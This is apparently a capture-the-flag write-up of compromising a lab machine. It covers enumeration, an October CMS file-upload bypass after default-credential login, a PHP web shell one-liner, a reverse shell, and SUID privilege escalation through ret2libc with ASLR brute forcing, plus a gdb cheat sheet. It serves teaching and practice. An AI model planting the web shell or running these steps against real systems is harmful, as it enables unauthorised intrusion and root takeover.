ENUMERATION
Nmap tcp full scan
nmap -A -p- -oN nmap_tcp_all.txt 10.10.10.16
The nmap output highlighted the presence of:
- SSH on port 22:
OpensSSH 6.6.1p1
- a web server on port 80:
Apache/2.4.7
. The page title suggested the web server was runningOctober CMS
.
I decided to browse the CMS page which I thought could be the vector to gain the initial low-privileges access to the target. I tried searching for the specific version but I couldn’t find it.
A brief search with searchsploit
showed different exploits. There weren’t many of them, anyway I decided to filter XSS related exploits because usually on this platform you don’t need to deliver client-side attacks . A little note: if you are practicing in more complex labs don’t ignore client-side attacks!!!
Multiple Vulnerabilities
sounded interesting. I usually create a local copy of the exploit-db entry :
PHP upload protection bypass
The first vulnerability listed in 41936.txt
highlighted that php5
extension can be used to bypass the upload protection mechanism. The payload then can be executed at /storage/app/media/payload.php5
.
PHP code execution via asset management
Another vulnerability entry described how an authenticated user with permission to manage website assets can have code execution uploading a file at http://10.10.10.16/backend/cms
. So authentication was needed.
EXPLOITATION
I tried to browse to /backend/cms
, then I was redirected to a login page.
Usually when I face admin/backend login forms I try these approaches:
- typing common default credentials:
admin:admin
,admin:password
, etc. - searching on google for
default credentials <app>
- bruteforcing with
hydra
This time I was lucky enough 👀 to guess the creds (admin:admin
)at the first attempt. Once authenticated as admin a function to upload files was available at /backend/cms/media
.
In this situation is better to test RCE starting from a small web shell like<?php system($_GET['cmd']); ?>
and then build up to a more complex payload.
I tested the presence of RCE as usual: http://10.10.10.16/shell.php5?cmd=<command>
.
The next step was to upload a new reverse shell payload or run a reverse shell using the previous webshell. I decided to go with the first approach, then a copy of kali php reverse shell was created in the current directory, modified properly and finally uploaded to the target.
A low level-privileges reverse shell was obtained triggering the payload.
/bin/sh: 0 : can't access tty; job control turned off
means that we are using a shell which has limited functionalities (no history, no job control, no tab completion, ctrl^c
doesn’t work, etc.). Then the shell was upgraded as follows:
I always try to upgrade the shell because it’s helpful and because some exploits don’t work with a limited shell. For more details about the magic look here:
The user www-data
was able to read the flag inside harry
‘s home directory.
PRIVILEGE ESCALATION
On Linux systems one of the most known Privilege Escalation vector is represented by SUID
binaries. Running the following command on the target:
find / -type f -perm -4000 2>/dev/null
all the binaries with SUID
bit set were listed.
/usr/local/bin/ovrflw
was a root’s binary, with the SUID
bit set and with an interesting name 👌.
My BOF knowledge was really scarce and limited to the most simple case scenario which is explained beautifully within OSCP material and other sources:
- Fuzz the application/binary in order to crash it
- Be able to consistently reproduce the crash
- Generate a string which consists of a unique sequence of bytes
- Crash the app with the previous string and find the offset at which you can overwrite
EIP
- Verify how much space is available for the shellcode
- Find bad chars
- Find
JMP ESP
instruction address in a library used by the binary and compiled without protection mechanisms - Overwrite the
EIP
address with the address previously found and execute the shellcode
I only heard about other techniques like ret2libc
, ROP
but I never tried them. This obviously wasn’t enough… The struggle and mistakes started here because I had one tool in my limited bof toolbox and I used it like an hammer 😤.
edb-debugger and classic bof (FAIL!)
First, I copied the binary locally in order to use edb-debugger
. Then an input with an increasing length was provided as the binary argument till the binary crashed.
A string of 160
A
‘s was enough to crash the binary.
msf-pattern_create -l 160
was used to generate the unique string.
The unique string then was given to the binary as an input. EIP
was overwritten with 64413764
.
msf-pattern_offset -l 160 -q 64413764
was executed to find the EIP
offset.
A string composed of 112*A
+ 4*B
was send to successfully verify that I could control the EIP
and overwrite it with the B
‘s.
The next step was to check the space available for the shellcode , then a string composed of 112*A
+ B*4
+ C*400
was passed as argument to the binary.
The C
‘s were located from address ffd8:620c
(image) to address ffd8:6080
, the difference converted in decimal was: 25100-24704=396
. So I had 396
bytes of space to place the shellcode.
It was time to find bad chars. A list of hex values was generated in bash as follows:
for i in {0..255}; do printf “\\\x%02x” $i;done
Then an input composed of 112*A
+ 4*B
+ hex_values
was passed to the binary as an input. I already removed x\00
(null byte) from the list.
x09
was not shown and broke the sequence, then the bad chars list till now was: \x00,\x09
.
Second iteration removing \x09
.
\x0a
was not shown and broke the sequence, then the bad chars list till now was: \x00,\x09,\x0a
.
Third iteration removing \x0a
.
\x20
was not shown and broke the sequence, then the bad chars list till now was:\x00,\x09,\x0a,\x20
.
Fourth iteration removing \x20
.
Finally the remaining hex values were shown till the last of them.
Then I used again the C
‘s string instead of hex values string and followed ESP
in the dump to check if it landed into the shellcode space filler ( C
) and it did.
The next information to find was the address of JMP ESP
. In edb-debugger
you can use ctrl^O
. I selected the library /usr/lib32/libc-2.31.so
, ESP-->EIP
and a potential address was found.
At this point somebody (giofz) instilled a doubt in my mind: my environment was not the same as the target one.
- My system was
64
bit, the target was32
bit. - libraries had different addresses.
Then, also if I found an address it could be totally wrong 🤕.
ASLR (Address Space Layout Randomization)
Furthermore, ASLR
was enabled. This mechanism goal is to mitigate exploitation attacks, anyway especially on 32
bit systems it can be bypassed due to the smaller randomization space. To check if it is enabled on a system you can execute:
cat /proc/sys/kernel/randomize_va_space
This file can has 1 of 3 values:
0
: Disable ASLR
1
: Conservative: Shared libraries and PIE binaries are randomized.
2
: Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.
randomize_va_space
value on the target:
Also, after running ldd ./ovrflw | grep libc
several times it seemed that only 3 bytes were modified in the randomization.
Just as an exercise: as reported below if you disable ASLR
on your machine the libc
address remains the same.
DEP (Data Execution Prevention)
It’s not over yet 😭 because another protection mechanism was in place. This invalidated my first attempt.
checksec --file=./ovrflw
This command shown that NX
was enabled. That means you can’t execute shellcode on the stack as you usually do during a classic bof. Then a workaround was needed.
Information retrieved till now:
- crash offset:
112
NX
is enabled → classic bof can’t workASLR
is enabled and randomization involves few bytes so can be bruteforced- the target is
32
bit
…my methodology was missing a foundational step: check protection mechanisms.
gdb and ret2libc
Since ASLR
was weak and potentially could be bypassed, ret2libc
seemed to be the right attack to use to workaround NX
protection. Indeed, creating and trying the exploit on the target machine was the best option to avoid issued due to the architecture/configuration differences. This required some gdb
and ret2libc
knowledge.
https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833
The first step was to run the binary with gdb
.
A breakpoint was set at the main function.
(gdb) break main
Then the binary was run with the following input.
The execution stopped at the breakpoint and the address for the system
function was retrieved.
Another way to get the address of the system
function is using readelf
.
The string "/bin/sh"
was searched in order to pass its address as the system()
argument. One way to accomplish the task is analyze the process memory mapping in order to get the Start Addr
of the libc
.
Then, starting from the base address of the libc
the string resulted to be at 0xb7779bac
.
Alternatively you can find the fixed offset of the string using strings
and then add the offset to the libc
base address.
The result is the same.
The final payload is described below:
system_address + fake_system_return_address + bin_sh_string_address
To make the exploit work you need to run the binary several times, you can use a while true
. In my case 400
iterations were enough to match the address I used.
A little note about the DUMM
address. As reported below is better to use exit()
address instead of the dummy return address.
EXTRA
This is a quick list I wrote to learn the basic gdb
commands useful in this context.
run gdb
gdb ./binary
set breakpoint at main
break main
b main
set breakpoint at a specific address
break *0x080483d9
b * main+39
delete all breakpoints
delete breakpoints
run the binary with arguments
r arg1 arg2
r `python -c "print 'A'*160"`
set intel flavor
set disassembly-flavor intel
disassemble main
disas main
disassemble main
get EIP value and saved registers
info frame
show words starting from the top of the stack
x/24wx $esp
x/200wx $esp-200
show words starting from a specific address
x/500x 0xbff0f100
show registers content
info register
show functions
info functions
EIP — buf starting address (buf size)
p/d 0xbffff77c - 0xbffff730
address of system, exit
p system
p exit
memory mapping of the process
info proc map
find a string in a range of addresses
find 0xb752b000, +9999999, "/bin/"
LESSONS LEARNED
- blacklisting file extensions may not be the best approach to implement a file upload restriction mechanism.
- default credentials are evil.
- check protection mechanisms before starting to attack the binary: run
checksec <binary>
and look forNX,canaries,RELRO,PIE
,etc. Executecat /proc/sys/kernel/randomize_va_space
and runldd <binary>
successively to see ifASLR
is enabled and if libraries starting addresses change in a small randomization space. - search for suitable ways to bypass these mechanisms.
- learn at least the basic commands of different debuggers:
immunity debugger
,edb-debugger
,gdb
,ghidra
. - in
ret2libc
use(gdb) p system
orreadelf -s ./path/libc.so | grep system
to search the functions address. Useexit()
address instead ofDUMM
to reduce the noise.